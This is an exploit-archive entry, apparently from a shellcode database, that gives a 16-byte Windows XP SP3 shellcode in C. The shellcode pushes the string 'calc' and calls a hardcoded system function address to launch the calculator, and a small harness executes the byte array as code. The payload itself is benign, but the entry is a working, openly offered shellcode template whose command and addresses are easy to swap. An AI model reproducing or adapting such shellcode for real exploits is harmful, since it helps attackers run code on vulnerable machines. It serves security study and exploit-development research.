[] NeoSense

Windows/x86 (XP SP3) (English) - calc.exe Shellcode (16 bytes)

Author: John Leitch
type: 
platform: windows_x86
port: 16.0
date_added: 2018-01-18 
date_updated: 2018-01-18 
verified: 0 
codes:  
tags: Metasploit Framework (MSF)
aliases:  
screenshot_url:  
application_url: 

/*------------------------------------------------------------------------
  Title...................Windows XP SP3 EN Calc Shellcode 16 Bytes
  Release Date............12/7/2010
  Tested On...............Windows XP SP3 EN
  ------------------------------------------------------------------------
  Author..................John Leitch
  Site....................http://www.johnleitch.net/
  Email...................john.leitch5@gmail.com
  ------------------------------------------------------------------------*/

int main(int argc, char *argv[])
{
    char shellcode[] =
        "\x31\xC9"                // xor ecx,ecx
        "\x51"                    // push ecx
        "\x68\x63\x61\x6C\x63"    // push 0x636c6163
        "\x54"                    // push dword ptr esp
        "\xB8\xC7\x93\xC2\x77"    // mov eax,0x77c293c7
        "\xFF\xD0";               // call eax

    ((void(*)())shellcode)();

    return 0;
}